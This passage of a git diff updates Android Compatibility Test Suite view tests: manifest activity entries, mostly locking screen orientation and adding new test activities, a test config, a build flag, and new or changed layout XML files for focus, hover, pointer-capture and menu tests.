-            android:theme="@android:style/Theme.NoTitleBar.Fullscreen" />
+                  android:label="ScaleGestureDetectorCtsActivity"
+                  android:screenOrientation="locked"
+                  android:theme="@android:style/Theme.NoTitleBar.Fullscreen" />
 
-        <activity android:name="android.view.cts.GLSurfaceViewCtsActivity"
-            android:label="GLSurfaceViewCts"/>
+        <activity android:name="android.view.cts.DisplayRefreshRateCtsActivity"
+                  android:label="DisplayRefreshRateCtsActivity"/>
 
-        <activity android:name="android.view.cts.MockActivity" android:label="MockActivity">
+        <activity android:name="android.view.cts.MockActivity"
+                  android:label="MockActivity"
+                  android:screenOrientation="locked">
             <meta-data android:name="android.view.merge"
                 android:resource="@xml/merge" />
         </activity>
 
-        <activity android:name="android.view.cts.ActionModeCtsActivity"
-            android:label="ActionModeCtsActivity">
-        </activity>
+        <activity android:name="android.view.cts.MenuTestActivity"
+                  android:screenOrientation="locked"
+                  android:label="MenuTestActivity" />
 
-        <activity android:name="android.view.cts.ViewGroupCtsActivity"
-                  android:label="WidgetViewGroupCtsActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-            </intent-filter>
+        <activity android:name="android.view.cts.MenuItemCtsActivity"
+                  android:theme="@android:style/Theme.Material.Light.NoActionBar"
+                  android:screenOrientation="locked"
+                  android:label="MenuItemCtsActivity" />
+
+        <activity android:name="android.view.cts.ActionModeCtsActivity"
+                  android:screenOrientation="locked"
+                  android:label="ActionModeCtsActivity">
         </activity>
 
         <activity android:name="android.view.cts.ViewOverlayCtsActivity"
+                  android:screenOrientation="locked"
                   android:label="ViewOverlayCtsActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -202,6 +235,7 @@
         </activity>
 
         <activity android:name="android.view.cts.ViewGroupOverlayCtsActivity"
+                  android:screenOrientation="locked"
                   android:label="ViewGroupOverlayCtsActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -210,7 +244,8 @@
         </activity>
 
         <activity android:name="android.view.cts.SearchEventActivity"
-            android:label="SearchEventActivity">
+                  android:screenOrientation="locked"
+                  android:label="SearchEventActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
@@ -218,7 +253,8 @@
         </activity>
 
         <activity android:name="android.view.cts.CtsActivity"
-            android:label="CtsActivity">
+                  android:screenOrientation="locked"
+                  android:label="CtsActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
@@ -226,6 +262,7 @@
         </activity>
 
         <activity android:name="android.view.cts.ContentPaneCtsActivity"
+                  android:screenOrientation="locked"
                   android:label="ContentPaneCtsActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -234,6 +271,7 @@
         </activity>
 
         <activity android:name="android.view.cts.LongPressBackActivity"
+                  android:screenOrientation="locked"
                   android:label="LongPressBackActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -241,7 +279,17 @@
             </intent-filter>
         </activity>
 
+        <activity android:name="android.view.cts.PanicPressBackActivity"
+                  android:screenOrientation="locked"
+                  android:label="PanicPressBackActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
         <activity android:name="android.view.cts.DragDropActivity"
+                  android:screenOrientation="locked"
                   android:label="DragDropActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -250,7 +298,6 @@
         </activity>
 
         <activity android:name="android.view.cts.surfacevalidator.CapturedActivity"
-            android:configChanges="orientation|screenSize"
             android:screenOrientation="locked"
             android:theme="@style/WhiteBackgroundTheme">
             <intent-filter>
@@ -258,6 +305,40 @@
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
+
+        <activity android:name="android.view.cts.HoverCtsActivity"
+                  android:screenOrientation="locked"
+                  android:theme="@style/WhiteBackgroundTheme">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.view.cts.TooltipActivity"
+                  android:screenOrientation="locked"
+                  android:label="TooltipActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.view.cts.PointerCaptureCtsActivity"
+                  android:screenOrientation="locked"
+                  android:theme="@style/WhiteBackgroundTheme">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.view.cts.DefaultFocusHighlightCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
@@ -268,4 +349,3 @@
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/view/AndroidTest.xml b/tests/tests/view/AndroidTest.xml
index c818923..9ed52bc 100644
--- a/tests/tests/view/AndroidTest.xml
+++ b/tests/tests/view/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS View test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsViewTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/view/jni/Android.mk b/tests/tests/view/jni/Android.mk
index ac7b844..288e250 100644
--- a/tests/tests/view/jni/Android.mk
+++ b/tests/tests/view/jni/Android.mk
@@ -18,6 +18,8 @@
 
 LOCAL_MODULE := libctsview_jni
 
+LOCAL_CFLAGS += -Werror
+
 LOCAL_MODULE_TAGS := tests
 
 LOCAL_SRC_FILES := \
diff --git a/tests/tests/view/res/layout/default_focus_highlight_layout.xml b/tests/tests/view/res/layout/default_focus_highlight_layout.xml
new file mode 100644
index 0000000..44a0f68
--- /dev/null
+++ b/tests/tests/view/res/layout/default_focus_highlight_layout.xml
@@ -0,0 +1,104 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+
+    <View
+        android:id="@+id/view"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/id_ok"/>
+
+    <ListView
+        android:id="@+id/listview"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/id_ok"/>
+
+    <EditText
+        android:id="@+id/edittext"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/id_ok"
+        android:inputType="text"/>
+
+    <Button
+        android:id="@+id/button"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/id_ok"/>
+
+    <LinearLayout
+        android:id="@+id/linearlayout"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="vertical">
+    </LinearLayout>
+
+    <View
+        android:id="@+id/view_to_inflate"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:defaultFocusHighlightEnabled="false"
+        android:text="@string/id_ok"/>
+
+    <ListView
+        android:id="@+id/listview_to_inflate"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:defaultFocusHighlightEnabled="true"
+        android:text="@string/id_ok"/>
+
+    <EditText
+        android:id="@+id/edittext_to_inflate"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/id_ok"
+        android:defaultFocusHighlightEnabled="true"
+        android:inputType="text"/>
+
+    <Button
+        android:id="@+id/button_to_inflate"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:defaultFocusHighlightEnabled="false"
+        android:text="@string/id_ok"/>
+
+    <LinearLayout
+        android:id="@+id/linearlayout_to_inflate"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:defaultFocusHighlightEnabled="false"
+        android:orientation="vertical">
+    </LinearLayout>
+
+    <Button
+        android:id="@+id/button_to_test_highlight_needed"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/id_ok"/>
+
+    <ImageView
+        android:id="@+id/image_view_to_test_highlight_needed"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/id_ok"/>
+</LinearLayout>
+
diff --git a/tests/tests/view/res/layout/focus_finder_layout.xml b/tests/tests/view/res/layout/focus_finder_layout.xml
index 610ffc8..1dea684 100644
--- a/tests/tests/view/res/layout/focus_finder_layout.xml
+++ b/tests/tests/view/res/layout/focus_finder_layout.xml
@@ -19,7 +19,7 @@
     <TableLayout android:id="@+id/layout"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
-            android:layout_centerInParent="true">
+            android:layout_alignParentTop="true">
         <TableRow>
             <android.view.cts.TestButton android:id="@+id/top_left_button"
                     android:layout_width="60dp"
@@ -41,5 +41,12 @@
                     android:text="BR" />
         </TableRow>  
     </TableLayout>
+    <LinearLayout android:id="@+id/inflate_layout"
+            android:orientation="horizontal"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_below="@id/layout">
+
+    </LinearLayout>
 </RelativeLayout>
 
diff --git a/tests/tests/view/res/layout/focus_finder_sublayout.xml b/tests/tests/view/res/layout/focus_finder_sublayout.xml
new file mode 100644
index 0000000..c9a4c3b
--- /dev/null
+++ b/tests/tests/view/res/layout/focus_finder_sublayout.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="wrap_content"
+              android:layout_height="wrap_content">
+    <FrameLayout
+        android:focusableInTouchMode="true"
+        android:id="@+id/itembox"
+        android:layout_width="200px"
+        android:layout_height="200px">
+        <Button
+            android:id="@+id/itembutton"
+            android:focusableInTouchMode="true"
+            android:nextFocusForward="@id/itembox"
+            android:layout_gravity="bottom|right"
+            android:layout_marginRight="10px"
+            android:layout_marginBottom="10px"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"/>
+    </FrameLayout>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/view/res/layout/focus_handling_auto_layout.xml b/tests/tests/view/res/layout/focus_handling_auto_layout.xml
new file mode 100644
index 0000000..7bf9419
--- /dev/null
+++ b/tests/tests/view/res/layout/focus_handling_auto_layout.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical" android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <View
+        android:id="@+id/focusableauto"
+        android:focusable="auto"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+    <View
+        android:id="@+id/focusabledefault"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+    <View
+        android:id="@+id/onlyclickable"
+        android:clickable="true"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+    <View
+        android:id="@+id/clickablenotfocusable"
+        android:clickable="true"
+        android:focusable="false"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+
+    <View
+        android:id="@+id/focusabletouchmode"
+        android:focusableInTouchMode="true"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/view/res/layout/focus_handling_default_focus.xml b/tests/tests/view/res/layout/focus_handling_default_focus.xml
new file mode 100644
index 0000000..00e29fe
--- /dev/null
+++ b/tests/tests/view/res/layout/focus_handling_default_focus.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical" android:layout_width="match_parent"
+              android:layout_height="match_parent">
+    <View
+        android:id="@+id/focusable1"
+        android:focusable="true"
+        android:layout_width="10dp"
+        android:layout_height="10dp" />
+    <View
+        android:id="@+id/focusable2"
+        android:focusable="true"
+        android:focusedByDefault="true"
+        android:layout_width="10dp"
+        android:layout_height="10dp" />
+    <View
+        android:id="@+id/focusable3"
+        android:focusable="true"
+        android:layout_width="10dp"
+        android:layout_height="10dp" />
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/view/res/layout/focus_handling_focusables.xml b/tests/tests/view/res/layout/focus_handling_focusables.xml
new file mode 100644
index 0000000..301a8c4
--- /dev/null
+++ b/tests/tests/view/res/layout/focus_handling_focusables.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical" android:layout_width="match_parent"
+              android:layout_height="match_parent">
+    <View
+        android:id="@+id/focusable1"
+        android:focusable="true"
+        android:layout_width="10dp"
+        android:layout_height="10dp" />
+    <View
+        android:id="@+id/focusable2"
+        android:focusable="true"
+        android:layout_width="10dp"
+        android:layout_height="10dp" />
+    <View
+        android:id="@+id/focusable3"
+        android:focusable="true"
+        android:layout_width="10dp"
+        android:layout_height="10dp" />
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/view/res/layout/focus_handling_initial_focus.xml b/tests/tests/view/res/layout/focus_handling_initial_focus.xml
new file mode 100644
index 0000000..ad12d07
--- /dev/null
+++ b/tests/tests/view/res/layout/focus_handling_initial_focus.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical" android:layout_width="match_parent"
+              android:layout_height="match_parent">
+    <requestFocus />
+    <View
+        android:id="@+id/focusable1"
+        android:focusable="true"
+        android:layout_width="10dp"
+        android:layout_height="10dp" />
+    <View
+        android:id="@+id/focusable2"
+        android:focusable="true"
+        android:layout_width="10dp"
+        android:layout_height="10dp" />
+    <View
+        android:id="@+id/focusable3"
+        android:focusable="true"
+        android:focusedByDefault="true"
+        android:layout_width="10dp"
+        android:layout_height="10dp" />
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/view/res/layout/focus_handling_layout.xml b/tests/tests/view/res/layout/focus_handling_layout.xml
index 84c8e6a..6966e53 100644
--- a/tests/tests/view/res/layout/focus_handling_layout.xml
+++ b/tests/tests/view/res/layout/focus_handling_layout.xml
@@ -16,6 +16,7 @@
 -->
 
 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/main_view"
     android:layout_width="match_parent"
     android:layout_height="match_parent">
 
@@ -53,5 +54,15 @@
         android:nextFocusUp="@id/view2"
         android:nextFocusLeft="@id/view3"
         android:text="@string/id_ok"/>
+
+    <LinearLayout
+        android:id="@+id/auto_test_area"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:orientation="vertical"
+        android:layout_below="@id/view4"
+        android:layout_alignParentLeft="true">
+    </LinearLayout>
+
 </RelativeLayout>
 
diff --git a/tests/tests/view/res/layout/hover_layout.xml b/tests/tests/view/res/layout/hover_layout.xml
new file mode 100644
index 0000000..08bbede
--- /dev/null
+++ b/tests/tests/view/res/layout/hover_layout.xml
@@ -0,0 +1,114 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:id="@+id/top"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:orientation="vertical">
+
+    <LinearLayout
+            android:id="@+id/outer"
+            android:orientation="vertical"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:gravity="center"
+            android:background="#eee">
+
+        <LinearLayout
+                android:id="@+id/middle1"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_margin="@dimen/hover_target_margin"
+                android:background="#ddd">
+
+            <LinearLayout
+                    android:id="@+id/inner11"
+                    android:layout_width="@dimen/hover_target_size"
+                    android:layout_height="@dimen/hover_target_size"
+                    android:layout_margin="@dimen/hover_target_margin"
+                    android:background="#bbb"/>
+
+            <TextView
+                    android:id="@+id/inner12"
+                    android:layout_width="wrap_content"
+                    android:layout_height="@dimen/hover_target_size"
+                    android:layout_margin="@dimen/hover_target_margin"
+                    android:text="Text"/>
+
+        </LinearLayout>
+
+        <LinearLayout
+                android:id="@+id/middle2"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_margin="@dimen/hover_target_margin"
+                android:background="#ddd">
+
+            <LinearLayout
+                    android:id="@+id/inner21"
+                    android:layout_width="@dimen/hover_target_size"
+                    android:layout_height="@dimen/hover_target_size"
+                    android:layout_margin="@dimen/hover_target_margin"
+                    android:background="#bbb"/>
+
+            <TextView
+                    android:id="@+id/inner22"
+                    android:layout_width="wrap_content"
+                    android:layout_height="@dimen/hover_target_size"
+                    android:layout_margin="@dimen/hover_target_margin"
+                    android:text="Text"/>
+
+        </LinearLayout>
+
+        <RelativeLayout
+                android:id="@+id/overlapping"
+                android:layout_width="@dimen/hover_target_size_double"
+                android:layout_height="@dimen/hover_target_size"
+                android:layout_margin="@dimen/hover_target_margin"
+                android:background="#ddd">
+
+            <View
+                    android:id="@+id/layer1"
+                    android:layout_width="match_parent"
+                    android:layout_height="match_parent"/>
+
+            <View
+                    android:id="@+id/layer2"
+                    android:layout_width="match_parent"
+                    android:layout_height="match_parent"/>
+
+            <View
+                    android:id="@+id/layer3"
+                    android:layout_width="match_parent"
+                    android:layout_height="match_parent"/>
+
+            <View
+                    android:id="@+id/layer4_left"
+                    android:layout_width="@dimen/hover_target_size"
+                    android:layout_height="match_parent"/>
+
+            <View
+                    android:id="@+id/layer4_right"
+                    android:layout_width="@dimen/hover_target_size"
+                    android:layout_height="match_parent"
+                    android:layout_toRightOf="@+id/layer4_left" />
+
+        </RelativeLayout>
+
+    </LinearLayout>
+
+</LinearLayout>
diff --git a/tests/tests/view/res/layout/include_layout_explicit.xml b/tests/tests/view/res/layout/include_layout_explicit.xml
new file mode 100644
index 0000000..e13301e
--- /dev/null
+++ b/tests/tests/view/res/layout/include_layout_explicit.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<View xmlns:android="http://schemas.android.com/apk/res/android"
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:id="@+id/include_layout_explicit" />
diff --git a/tests/tests/view/res/layout/include_layout_from_attr.xml b/tests/tests/view/res/layout/include_layout_from_attr.xml
new file mode 100644
index 0000000..e0e8fd3
--- /dev/null
+++ b/tests/tests/view/res/layout/include_layout_from_attr.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<View xmlns:android="http://schemas.android.com/apk/res/android"
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:id="@+id/include_layout_from_attr" />
diff --git a/tests/tests/view/res/layout/inflater_layout_include.xml b/tests/tests/view/res/layout/inflater_layout_include.xml
new file mode 100644
index 0000000..7423830
--- /dev/null
+++ b/tests/tests/view/res/layout/inflater_layout_include.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:layout_width="match_parent"
+              android:layout_height="wrap_content">
+
+    <include layout="@layout/include_layout_explicit" />
+
+    <include layout="?attr/includeLayout" />
+
+</LinearLayout>
diff --git a/tests/tests/view/res/layout/inputmethod_edittext.xml b/tests/tests/view/res/layout/inputmethod_edittext.xml
deleted file mode 100755
index 849b411..0000000
--- a/tests/tests/view/res/layout/inputmethod_edittext.xml
+++ /dev/null
@@ -1,27 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2008 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
-                  android:layout_width="fill_parent"
-                  android:layout_height="wrap_content"
-                  android:background="@drawable/blue"
-                android:padding="10px">
-
-    <EditText android:id="@+id/entry"
-              android:layout_width="fill_parent"
-              android:layout_height="wrap_content"
-              android:background="@android:drawable/editbox_background"/>
-
-</RelativeLayout>
diff --git a/tests/tests/view/res/layout/menu_item_layout.xml b/tests/tests/view/res/layout/menu_item_layout.xml
new file mode 100644
index 0000000..cb6d146
--- /dev/null
+++ b/tests/tests/view/res/layout/menu_item_layout.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+
+    <Toolbar
+        android:id="@+id/toolbar_main"
+        android:layout_width="match_parent"
+        android:layout_height="?android:attr/actionBarSize" />
+
+</LinearLayout>
diff --git a/tests/tests/view/res/layout/pointer_capture_layout.xml b/tests/tests/view/res/layout/pointer_capture_layout.xml
new file mode 100644
index 0000000..88399d2
--- /dev/null
+++ b/tests/tests/view/res/layout/pointer_capture_layout.xml
@@ -0,0 +1,57 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:id="@+id/top"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:orientation="vertical">
+
+    <android.view.cts.PointerCaptureGroup
+            android:id="@+id/outer"
+            android:orientation="horizontal"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_margin="20dp"
+            android:gravity="center"
+            android:background="#eee">
+
+        <android.view.cts.PointerCaptureGroup
+                android:id="@+id/inner"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_margin="20dp"
+                android:background="#ddd">
+
+            <android.view.cts.PointerCaptureView
+                    android:id="@+id/target"
+                    android:layout_width="20dp"
+                    android:layout_height="20dp"
+                    android:layout_margin="20dp"
+                    android:background="#bbb"/>
+
+        </android.view.cts.PointerCaptureGroup>
+
+        <android.view.cts.PointerCaptureGroup
+                android:id="@+id/target2"
+                android:layout_width="20dp"
+                android:layout_height="20dp"
+                android:layout_margin="40dp"
+                android:background="#bbb"/>
+
+    </android.view.cts.PointerCaptureGroup>
+
+</LinearLayout>
diff --git a/tests/tests/view/res/layout/scrollview_layout.xml b/tests/tests/view/res/layout/scrollview_layout.xml
index c5b7b43..8c3cb8e 100644
--- a/tests/tests/view/res/layout/scrollview_layout.xml
+++ b/tests/tests/view/res/layout/scrollview_layout.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 
-<android.view.cts.MyScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+<ScrollView
+    xmlns:android="http://schemas.android.com/apk/res/android"
     android:id="@+id/scroll_view"
     android:layout_width="100dip"
     android:layout_height="100dip">
@@ -102,4 +103,4 @@
             android:text="@string/vertical_text_3"/>
     </LinearLayout>
 
-</android.view.cts.MyScrollView>
+</ScrollView>
diff --git a/tests/tests/view/res/layout/textview_layout.xml b/tests/tests/view/res/layout/textview_layout.xml
index c09b93a..8b8418b 100644
--- a/tests/tests/view/res/layout/textview_layout.xml
+++ b/tests/tests/view/res/layout/textview_layout.xml
@@ -60,7 +60,7 @@
                     android:layout_width="wrap_content"
                     android:layout_height="wrap_content"/>
 
-            <android.view.cts.MockTextView
+            <TextView
                     android:id="@+id/mock_textview_left"
                     android:layout_width="wrap_content"
